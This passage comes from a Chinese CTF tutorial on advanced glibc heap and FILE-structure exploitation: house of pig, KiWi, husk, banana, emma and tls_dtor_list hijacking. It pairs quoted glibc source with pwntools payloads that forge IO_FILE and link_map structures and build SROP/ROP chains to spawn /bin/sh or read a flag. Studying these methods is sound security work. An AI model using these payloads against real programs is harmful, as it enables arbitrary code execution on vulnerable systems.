              memcpy (new_buf, old_buf, old_blen); // 2
              free (old_buf); // 3
              /* Make sure _IO_setb won't try to delete _IO_buf_base. */
              fp->_IO_buf_base = NULL;
            }
          memset (new_buf + old_blen, '\0', new_size - old_blen); // 4
 
          _IO_setb (fp, new_buf, new_buf + new_size, 1);
          fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
          fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
          fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
          fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
          fp->_IO_write_base = new_buf;
          fp->_IO_write_end = fp->_IO_buf_end;
        }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)

在源码中,old_blen = _IO_blen (fp) = (fp)->_IO_buf_end - (fp)->_IO_buf_basemalloc的大小为2 * old_blen + 100
可以看到注释的1,2,3处连续调用了mallocmemcpyfree,在2.34以前,有__free_hook的存在,所以不难想到:先在某个bin list里伪造一个与__free_hook有关的堆块地址,然后用这里的malloc申请出来,再通过memcpy__free_hook里面任意写system,最后在调用free之前先调用了__free_hook,此时rdiold_buf = fp->_IO_buf_base,也是我们伪造IO_FILE时可控的,直接将其改为/bin/sh即可getshell
比如说,先利用tcache stashing unlink attack或者劫持TLS中的tcache pointer等方式,在0xa0tcache bin中伪造一个__free_hook - 0x10在链首,然后伪造IO_FILE如下:

1
2
3
4
5
6
7
fake_IO_FILE = p64(0)*3 + p64(0xffffffffffffffff) # set _IO_write_ptr
# fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base
fake_IO_FILE += p64(0) + p64(fake_IO_FILE_addr + 0xe0) + p64(fake_IO_FILE_addr + 0xf8)
# set _IO_buf_base & _IO_buf_end   old_blen = 0x18
fake_IO_FILE = payload.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(get_IO_str_jumps())
fake_IO_FILE += b'/bin/sh\x00' + p64(0) + p64(libc.sym['system'])

最后通过exit触发,即可getshell,当然也可以配合house of KiWi等方式通过调用某个IOfake vtable,来调用_IO_str_overflow,伪造的IO_FILE需要按情况微调。
2.34以后,__free_hook__malloc_hook__realloc_hook这些函数指针都被删除了,house of pig的利用看似也就无法再使用了,但是我们注意到上面源码的注释4处,调用了memset,在libc中也是有got表的,并且可写,而这里的memsetIDA中可以看到是j_memset_ifunc(),这种都是通过got表调用的,因此我们可以把原先house of pig的改写__free_hook转为改写memsetlibc中的got表。
先在0xa0tcache链表头伪造一个memset_got_addr的地址,并伪造IO_FILE如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
# magic_gadget:mov rdx, rbx ; mov rsi, r12 ; call qword ptr [r14 + 0x38]
fake_stderr = p64(0)*3 + p64(0xffffffffffffffff) # _IO_write_ptr
fake_stderr += p64(0) + p64(fake_stderr_addr+0xf0) + p64(fake_stderr_addr+0x108)
fake_stderr = fake_stderr.ljust(0x78, b'\x00')
fake_stderr += p64(libc.sym['_IO_stdfile_2_lock']) # _lock
fake_stderr = fake_stderr.ljust(0x90, b'\x00') # srop
fake_stderr += p64(rop_address + 0x10) + p64(ret_addr) # rsp rip
fake_stderr = fake_stderr.ljust(0xc8, b'\x00')
fake_stderr += p64(libc.sym['_IO_str_jumps'] - 0x20)
fake_stderr += p64(0) + p64(0x21)
fake_stderr += p64(magic_gadget) + p64(0) # r14 r14+8
fake_stderr += p64(0) + p64(0x21) + p64(0)*3
fake_stderr += p64(libc.sym['setcontext']+61) # r14 + 0x38

这里是通过house of KiWi调用的,并且开了沙盒。需要注意的是,在memset之前仍然有free(IO->buf_base),因此需要伪造一下memset_got_addrfake chunk的堆块头,以及其next chunk的堆块头。此外,在__vfxprintf中有_IO_flockfile(fp),因此_lock也需要修复(任意可写地址即可)。至于各寄存器在_IO_str_overflow中最后的情况,最后调试一下就能得到,magic gadget也不难找。

house of KiWi

主要是提供了一种在程序中触发IO的思路,恰好又能同时控制rdx,很方便地orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// assert.h
# if defined __cplusplus
#  define assert(expr)                            \
     (static_cast <bool> (expr)                        \
      ? void (0)                            \
      : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# elif !defined __GNUC__ || defined __STRICT_ANSI__
#  define assert(expr)                            \
    ((expr)                                \
     ? __ASSERT_VOID_CAST (0)                        \
     : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# else
#  define assert(expr)                            \
  ((void) sizeof ((expr) ? 1 : 0), __extension__ ({            \
      if (expr)                                \
        ; /* empty */                            \
      else                                \
        __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION);    \
    }))
# endif
 
// malloc.c ( #include <assert.h> )
# define __assert_fail(assertion, file, line, function)            \
     __malloc_assert(assertion, file, line, function)
 
static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
             __progname, __progname[0] ? ": " : "",
             file, line,
             function ? function : "", function ? ": " : "",
             assertion);
  fflush (stderr);
  abort ();
}

可以看到,在malloc.c中,assert断言失败,最终都会调用__malloc_assert,而其中有一个fflush (stderr)的函数调用,会走stderrIO_FILE,最终会调用到其vtable_IO_file_jumps中的__IO_file_sync,此时rdxIO_helper_jumps
开了沙盒需要orw的题目,经常使用setcontext控制rsp,进而跳转过去调用ROP链,而在2.29版本以上setcontext中的参数也由rdi变为rdx了,起始位置也从setcontext+53变为了setcontext+612.29版本有些特殊,仍然是setcontext+53起始,但是控制的寄存器已经变成了rdx),rdx显然没有rdi好控制,然而house of KiWi恰好能帮助我们控制rdx
下面的问题就在于如何触发assert的断言出错,通常有以下几种方式:

 

1.在_int_malloc中判断到top chunk的大小太小,无法再进行分配时,会走到sysmalloc中的断言:

1
2
3
4
assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));

因此,我们可以将top chunksize改小,并置prev_inuse0,当top chunk不足分配时,就会触发这个assert了。

 

2.在_int_malloc中,当堆块从unsorted bin转入largebin list的时候,也会有一些断言:assert (chunk_main_arena (bck->bk))assert (chunk_main_arena (fwd))等。

 

再看相关的宏定义:
#define NON_MAIN_ARENA 0x4
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
mchunk_size的解释:mchunk_size成员显示的大小并不等价于该chunk在内存中的大小,而是当前chunk的大小加上NON_MAIN_ARENAIS_MAPPEDPREV_INUSE位的值。
因此,assert (chunk_main_arena(...))就是检测堆块是否来自于main_arena,也可以通过伪造即将放入largebin listlargebin's size来触发assert
对于house of KiWi利用,需要存在一个任意写,通过修改_IO_file_jumps + 0x60_IO_file_sync指针为setcontext+61,并修改IO_helper_jumps + 0xA0 and 0xA8分别为ROP链的位置和ret指令的gadget地址即可。

 

值得一提的是,在house of KiWi调用链中,在调用到__IO_file_sync之前,在__vfprintf_internal中也会调用IO_FILE虚表中的函数,会调用[vtable] + 0x38的函数,即_IO_new_file_xsputn,因此我们可以通过改IO_FILEvtable的值,根据偏移来调用其他虚表中的任意函数。

高版本下开了沙盒的orw方法

  1. 通过gadget做到类似于栈迁移的效果,然后走ROP链,打orw
  2. 通过setcontext + 61,控制寄存器rdx
    (1)可以找gadget,使rdi或其他寄存器与rdx之间进行转换
    (2)通过改__malloc_hooksetcontext + 61,劫持IO_FILE(多是stdin),将vtable改成_IO_str_jumps的地址,最后通过exit,会走到_IO_str_overflow函数,其中有malloc函数触发__malloc_hook,此时的rdx就是_IO_write_ptr中的值,所以直接使_IO_write_ptr = SROP_addr即可。
  3. house of KiWi
  4. 其他IO的劫持

对于第一种,svcudp_reply+26处有个gadget可以实现:

1
2
3
4
5
6
<svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>:    mov    rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>:    lea    r13,[rbp+0x10]
<svcudp_reply+38>:    mov    DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>:    mov    rdi,r13
<svcudp_reply+48>:    call   QWORD PTR [rax+0x28]

对于第二种,先来看通过gadget进行rdirdx间的转换(最常用):

1
2
3
mov rdx, qword ptr [rdi + 8]
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20]

再看通过改__malloc_hook并劫持_IO_FILE的方法:
为什么说一般劫持的都是stdinIO_FILE呢?因为__malloc_hookstdin距离是比较近的,可以在劫持IO_FILE的同时,就把__malloc_hook改掉。
可按如下方式构造payload

1
2
3
4
5
6
7
8
9
10
11
SROP_addr = libc_base + libc.sym['_IO_2_1_stdin_'] + 0xe0
payload = p64(0)*5 + p64(SROP_addr) # _IO_write_ptr
payload = payload.ljust(0xd8, b'\x00') + p64(libc_base + get_IO_str_jumps_offset())
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x200
frame.rsp = address + 8
frame.rip = libc_base + libc.sym['read']
payload += bytes(frame)
payload = payload.ljust(0x1f0, b'\x00') + p64(libc_base + libc.sym['setcontext'] + 61) # __malloc_hook

至于第三种,house of KiWi的方式,在上面已经单独介绍过了,就不再多说了。
关于第四点提到的其他IO劫持,在之后都会提及,比如house of bananahouse of emma等等。

house of husk

在用printf进行输出时,会根据其格式化字符串,调用不同的输出函数来以不同格式输出结果。但是如果调用呢?自然是需要格式化字符与其输出函数一一对应的索引表的。glibc中的__register_printf_function函数是__register_printf_specifier函数的封装:

1
2
3
4
5
6
int __register_printf_function (int spec, printf_function converter,
                printf_arginfo_function arginfo)
{
  return __register_printf_specifier (spec, converter,
                      (printf_arginfo_size_function*) arginfo);
}

__register_printf_specifier函数就是为格式化字符spec的格式化输出注册函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __register_printf_specifier (int spec, printf_function converter,
                 printf_arginfo_size_function arginfo)
{
  if (spec < 0 || spec > (int) UCHAR_MAX)
    {
      __set_errno (EINVAL);
      return -1;
    }
 
  int result = 0;
  __libc_lock_lock (lock);
 
  if (__printf_function_table == NULL)
    {
      __printf_arginfo_table = (printf_arginfo_size_function **)
    calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
    {
      result = -1;
      goto out;
    }
 
      __printf_function_table = (printf_function **)
    (__printf_arginfo_table + UCHAR_MAX + 1);
    }
 
  // 为格式化字符spec注册函数指针
  __printf_function_table[spec] = converter;
  __printf_arginfo_table[spec] = arginfo;
 
 out:
  __libc_lock_unlock (lock);
 
  return result;
}

可以看到,如果格式化字符spec超过0xff或小于0,即ascii码不存在,则返回-1,如果__printf_arginfo_table为空就通过calloc分配两张索引表,并将地址存到__printf_arginfo_table以及__printf_function_table中。两个表空间均为0x100,可以为0-0xff的每个字符注册一个函数指针,且第一个表后面紧接着第二个表。由此,我们有很明显的思路,可以劫持__printf_arginfo_table__printf_function_table为我们伪造的堆块(多用largebin attack),进而伪造里面格式化字符所对应的函数指针(要么为0,要么有效)。
vfprintf函数中,如果检测到__printf_function_table不为空,则对于格式化字符不走默认的输出函数,而是调用printf_positional函数,进而可以调用到表中的函数指针:

1
2
3
4
5
6
7
8
9
10
11
// vfprintf-internal.c : 1412
if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
    goto do_positional;
 
// vfprintf-internal.c : 1682
do_positional:
  done = printf_positional (s, format, readonly_format, ap, &ap_save,
                done, nspecs_done, lead_str_end, work_buffer,
                save_errno, grouping, thousands_sep, mode_flags);

__printf_function_table中类型为printf_function的函数指针,在printf->vfprintf->printf_positional被调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// vfprintf-internal.c : 1962
if (spec <= UCHAR_MAX
          && __printf_function_table != NULL
          && __printf_function_table[(size_t) spec] != NULL)
{
      const void **ptr = alloca (specs[nspecs_done].ndata_args
                 * sizeof (const void *));
 
      /* Fill in an array of pointers to the argument values.  */
      for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
       ++i)
        ptr[i] = &args_value[specs[nspecs_done].data_arg + i];
 
      /* Call the function.  */
      function_done = __printf_function_table[(size_t) spec](s, &specs[nspecs_done].info, ptr); // 调用__printf_function_table中的函数指针
 
    if (function_done != -2)
    {
      /* If an error occurred we don't have information
         about # of chars.  */
      if (function_done < 0)
        {
          /* Function has set errno.  */
          done = -1;
          goto all_done;
        }
 
      done_add (function_done);
      break;
    }
}

另一个在__printf_arginfo_table中的类型为printf_arginfo_size_function的函数指针,在printf->vfprintf->printf_positional->__parse_one_specmb中被调用,其功能是根据格式化字符做解析,返回值为格式化字符消耗的参数个数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// vfprintf-internal.c : 1763
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
 
// printf-parsemb.c (__parse_one_specmb函数)
/* Get the format specification.  */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
  || spec->info.spec > UCHAR_MAX
  || __printf_arginfo_table[spec->info.spec] == NULL // 判断是否为空
  /* We don't try to get the types for all arguments if the format
 uses more than one.  The normal case is covered though.  If
 the call returns -1 we continue with the normal specifiers.  */
  || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) // 调用__printf_arginfo_table中的函数指针
               (&spec->info, 1, &spec->data_arg_type,
                &spec->size)) < 0)
{
  /* Find the data argument types of a built-in spec.  */
  spec->ndata_args = 1;

可以看到,是先调用了__printf_arginfo_table中的函数指针,再调用了__printf_function_table中的函数指针。
假设现在__printf_function_table__printf_arginfo_table分别被填上了chunk 4chunk 8的堆块地址(chunk header)。
方式一:

1
2
one_gadget = libc.address + 0xe6c7e
edit(8, p64(0)*(ord('s') - 2) + p64(one_gadget))

由于有堆块头,所以格式化字符的索引要减2,这样写就满足了__printf_function_table不为空,进入了printf_positional函数,并调用了__printf_arginfo_table中的函数指针。
方式二:

1
2
one_gadget = libc.address + 0xe6ed8
edit(4, p64(0)*(ord('s') - 2) + p64(one_gadget))

这样写同样也是可以的,首先仍然满足__printf_function_table不为空,进入了printf_positional函数,会先进入__parse_one_specmb,此时__printf_arginfo_table[spec->info.spec] == NULL成立,那么根据逻辑短路,就不会再执行下面的语句了,最后又回到printf_positional函数,调用了__printf_function_table中的函数指针。

house of banana

其实就是劫持了link_map,需要exit函数触发,调用链:exit()->_dl_fini->(fini_t)array[i],可以很方便地getshell或者在高版本下orw
先看Elf64_Dyn结构体定义(注意里面有一个共用体):

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
  Elf64_Sxword    d_tag;            /* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;        /* Integer value */
      Elf64_Addr d_ptr;            /* Address value */
    } d_un;
} Elf64_Dyn;
 
// link_map中l_info的定义
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
              + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];

再看_dl_fini.c中的这一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
for (i = 0; i < nmaps; ++i)
{
    struct link_map *l = maps[i]; // link_map结构体指针l
    if (l->l_init_called)
    {
      /* Make sure nothing happens if we are called twice.  */
      l->l_init_called = 0;
      /* Is there a destructor function?  */
      if (l->l_info[DT_FINI_ARRAY] != NULL
          || (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
        {
          .............
            /* First see whether an array is given.  */
            if (l->l_info[DT_FINI_ARRAY] != NULL)
            {
              ElfW(Addr) *array =
                (ElfW(Addr) *) (l->l_addr
                        + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
              unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                        / sizeof (ElfW(Addr)));
              while (i-- > 0)
                ((fini_t) array[i]) (); // 调用了函数指针
            }
        ...
        }
      ...
     }
   ...
 }

这里面涉及的结构体比较多,成员参数也比较复杂。可以看到源码中l指针的类型为link_map结构体。link_map结构体的定义很长,节选如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct link_map
{
    ElfW(Addr) l_addr;        /* Difference between the address in the ELF
                   file and the addresses in memory.  */
    char *l_name;        /* Absolute file name object was found in*/
    ElfW(Dyn) *l_ld;        /* Dynamic section of the shared object*/
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
 
     /* All following members are internal to the dynamic linker.
       They may change without notice.  */
 
    /* This is an element which is only ever different from a pointer to
       the very same copy of this type for ld.so when it is used in more
       than one namespace.  */
    struct link_map *l_real;
    ......
};

可以看到,link_map和堆块链表一样,是通过l_nextl_prev指针连接起来的,那么肯定就有一个类似于main_arena或者说是tcache struct的地方,存放着这个链表头部指针的信息,这个地方就是_rtld_global结构体:

1
2
3
4
5
6
pwndbg> p _rtld_global
$1 = {
  _dl_ns = {{
      _ns_loaded = 0x7ffff7ffe190,
      _ns_nloaded = 4,
  ......

这里的_ns_loaded就是link_map链表头部指针的地址,_ns_nloaded = 4说明这个link_map链表有四个link_map结构体,它们通过l_nextl_prev指针连接在一起。
我们再用gdb打出link_map的头部结构体的内容:

1
2
3
4
5
6
7
8
9
pwndbg> p *(struct link_map*) 0x7ffff7ffe190
$2 = {
  l_addr = 93824990838784,
  l_name = 0x7ffff7ffe730 "",
  l_ld = 0x555555601d90,
  l_next = 0x7ffff7ffe740,
  l_prev = 0x0,
  l_real = 0x7ffff7ffe190,
  ......

很自然,在house of banana的利用中,我们需要劫持_rtld_global的首地址,也就是_ns_loaded,将它通过largebin attack等方式改写为我们可控的堆地址,然后再对link_map进行伪造(当然,对于有些题目,有办法直接劫持到原先的link_map并修改,那更好)。
伪造link_map的时候,首先就需要注意几个地方:将l_next需要还原,这样之后的link_map就不需要我们再重新伪造了;将l_real设置为自己伪造的link_map堆块地址,这样才能绕过检查。
之后,我们再回到_dl_fini.c中的源码,看看如何利用house of banana进行攻击。
首先,再最外层判断中,需要使l->l_init_called为真,因此需要对l_init_called进行一个伪造。
然后,需要使l->l_info[DT_FINI_ARRAY] != NULL,才能调用函数指针,这里有#define DT_FINI_ARRAY 26,也就是使得l->l_info[26]不为空。
再之后就是array = (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);,这里需要伪造link_map中的l_addr(这里在已经伪造的link_map的堆块头,需要通过其上一个堆块溢出或是合并后重分配进行修改),以及l->l_info[26]->d_un.d_ptr,也就是l->l_info[27],使其相加的结果为函数指针的基地址。
调用函数指针的次数ii = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)))控制,其中#define DT_FINI_ARRAYSZ 28sizeof (ElfW(Addr)) = 8,因此i = l->l_info[29] / 8
这里每次调用的函数指针都为上一个的地址减8,直到最后调用函数指针的基地址array,而每一次调用函数指针,其rdx均为上一次调用的函数指针的地址,由此我们可以轻松地通过setcontext + 61布置SROP,跳转执行ROP链。
构造代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
fake_link_map_addr = heap_base + 0x6c0
edit(0, b'a'*0x420 + p64(fake_link_map_addr + 0x20)) # l_addr
payload = p64(0) +  p64(ld.address + 0x2f740) # l_next
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libc.sym['setcontext'] + 61) # second call  rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)
 
'''
# getshell
payload += p64(pop_rdi_ret) # 0x40
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])
'''
 
# orw
flag_addr = fake_link_map_addr + 0xe8
payload += p64(pop_rdi_ret) + p64(flag_addr) # fake_link_map_addr + 0x40
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(libc.sym['syscall'] + 27)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(fake_link_map_addr + 0x200)
payload += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0)
payload += p64(libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(libc.sym['write']) # fake_link_map_addr + 0xc8
payload += p64(libc.sym['_exit'])
 
payload = payload.ljust(0x38 - 0x10 + 0xa0, b'\x00') # => fake_link_map_addr + 0xd8  SROP
payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8
 
payload = payload.ljust(0x100, b'\x00')
# l->l_info[DT_FINI_ARRAY] != NULL => l->l_info[26] != NULL
payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26]  &  d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28]  &  i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr
payload = payload.ljust(0x308, b'\x00')
payload += p64(0x800000000) # l->l_init_called

劫持tls_dtor_list,利用__call_tls_dtors拿到权限

这个利用也是通过exit触发的,和house of banana实现的效果差不多,利用流程比house of banana简单,但是主要是用于getshell,在开了沙盒后,orw并没有house of banana方便。
首先来看dtor_list结构体的定义:

1
2
3
4
5
6
7
8
9
struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};
 
static __thread struct dtor_list *tls_dtor_list;

可以看到,tls_dtor_list就是dtor_list的结构体指针,里面存放着一个dtor_list结构体的地址。
再看到__call_tls_dtors函数(对tls_dtor_list进行遍历):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif
 
      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);
 
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

由此可知,dtor_list结构体中的func成员,其实是一个函数指针,而其中的obj成员就是其调用时的参数。
很显然,若我们可以劫持tls_dtor_list,在其中写入我们伪造的堆地址,使其不为空(绕过while (tls_dtor_list)),就能执行到func (cur->obj),而我们又可以控制伪造的堆块中prev_size域为system的相关数据(由于有指针保护,之后会讲),size域为/bin/sh的地址(通过上一个堆块的溢出或合并后重分配),这样就能getshell了,若是想orw,那么可以让func成员为magic_gadget的相关数据,将rdirdx转换后,再调用setcontext + 61SROP即可。
需要注意的是,在调用func函数指针之前,对func执行了PTR_DEMANGLE (func),这是一个指针保护,我们可以通过gdb直接看到其汇编:

1
2
3
4
5
ror    rax,0x11
xor    rax,QWORD PTR fs:0x30
mov    QWORD PTR fs:[rbx],rdx
mov    rdi,QWORD PTR [rbp+0x8]
call   rax

这操作主要是先进行循环右移0x11位,再与fs:0x30(tcbhead_t->pointer_guard)进行异或,最终得到的数据就是我们的函数指针,并调用。
因此,我们在之前所说的将func成员改成的与system相关的数据,就是对指针保护进行一个逆操作:先将system_addrpointer_guard进行异或,再将结果循环左移0x11位后,填入prev_size域。
然而,pointer_guard的值在TLS结构中(在canary保护stack_guard的下一个),我们很难直接得到它的值,但是我们可以通过一些攻击手段,往其中写入我们可控数据,这样就可以控制pointer_guard,进而绕过指针保护了。

1
2
3
4
5
6
7
8
ROL = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
 
# 两次largebin attack改tls_dtor_list与pointer_guard
 
fake_pointer_guard = heap_base + 0x17b0
edit(0, b'a'*0x420 + p64(ROL(libc.sym['system'] ^ fake_pointer_guard, 0x11, 64)) + p64(next(libc.search(b'/bin/sh'))))

house of emma

主要是针对于glibc 2.34中删除了__free_hook__malloc_hook等之前经常利用的函数指针而提出的一条新的调用链。
house of emma利用了_IO_cookie_jumps这个vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_cookie_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_file_setbuf),
  JUMP_INIT(sync, _IO_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_cookie_read),
  JUMP_INIT(write, _IO_cookie_write),
  JUMP_INIT(seek, _IO_cookie_seek),
  JUMP_INIT(close, _IO_cookie_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue),
};

可以考虑其中的这几个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
static ssize_t _IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif
 
  if (read_cb == NULL)
    return -1;
 
  return read_cb (cfile->__cookie, buf, size);
}
 
static ssize_t _IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (write_cb);
#endif
 
  if (write_cb == NULL)
    {
      fp->_flags |= _IO_ERR_SEEN;
      return 0;
    }
 
  ssize_t n = write_cb (cfile->__cookie, buf, size);
  if (n < size)
    fp->_flags |= _IO_ERR_SEEN;
 
  return n;
}
 
static off64_t _IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (seek_cb);
#endif
 
  return ((seek_cb == NULL
       || (seek_cb (cfile->__cookie, &offset, dir)
           == -1)
       || offset == (off64_t) -1)
      ? _IO_pos_BAD : offset);
}
 
static int _IO_cookie_close (FILE *fp)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (close_cb);
#endif
 
  if (close_cb == NULL)
    return 0;
 
  return close_cb (cfile->__cookie);
}

其中涉及到的结构体定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct _IO_cookie_file
{
  struct _IO_FILE_plus __fp;
  void *__cookie;
  cookie_io_functions_t __io_functions;
};
 
typedef struct _IO_cookie_io_functions_t
{
  cookie_read_function_t *read;        /* Read bytes.  */
  cookie_write_function_t *write;    /* Write bytes.  */
  cookie_seek_function_t *seek;        /* Seek/tell file position.  */
  cookie_close_function_t *close;    /* Close file*/
} cookie_io_functions_t;

在这几个函数里,都有函数指针的调用,且这几个函数指针都在劫持的IO_FILE偏移的不远处,用同一个堆块控制起来就很方便,不过在任意调用之前也都需要绕过指针保护PTR_DEMANGLE。此外,在调用函数指针的时候,其rdi都是cfile->__cookie,控制起来也是非常方便的。
利用house of KiWi配合house of emma的调用链为__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_new_file_xsputn ( => _IO_cookie_write),这里用的是_IO_cookie_write函数,用其他的当然也同理。
伪造的IO_FILE如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ROL = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
 
magic_gadget = libc.address + 0x1460e0 # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
 
fake_stderr = p64(0)*3
fake_stderr += p64(0xffffffffffffffff)
fake_stderr = fake_stderr.ljust(0x78, b'\x00')
fake_stderr += p64(libc.sym['_IO_stdfile_2_lock']) # _lock
# _IO_flockfile(fp) in __vfxprintf
fake_stderr = fake_stderr.ljust(0xc8, b'\x00')
fake_stderr += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake_vtable
# call [vtable]+0x38 (call _IO_new_file_xsputn)
# => call _IO_cookie_jumps+0x78 => call _IO_cookie_write
fake_stderr += p64(srop_address) # __cookie (rdi)
fake_stderr += p64(0)
fake_stderr += p64(ROL(magic_gadget ^ __pointer_chk_guard, 0x11, 64)) # __io_functions.write
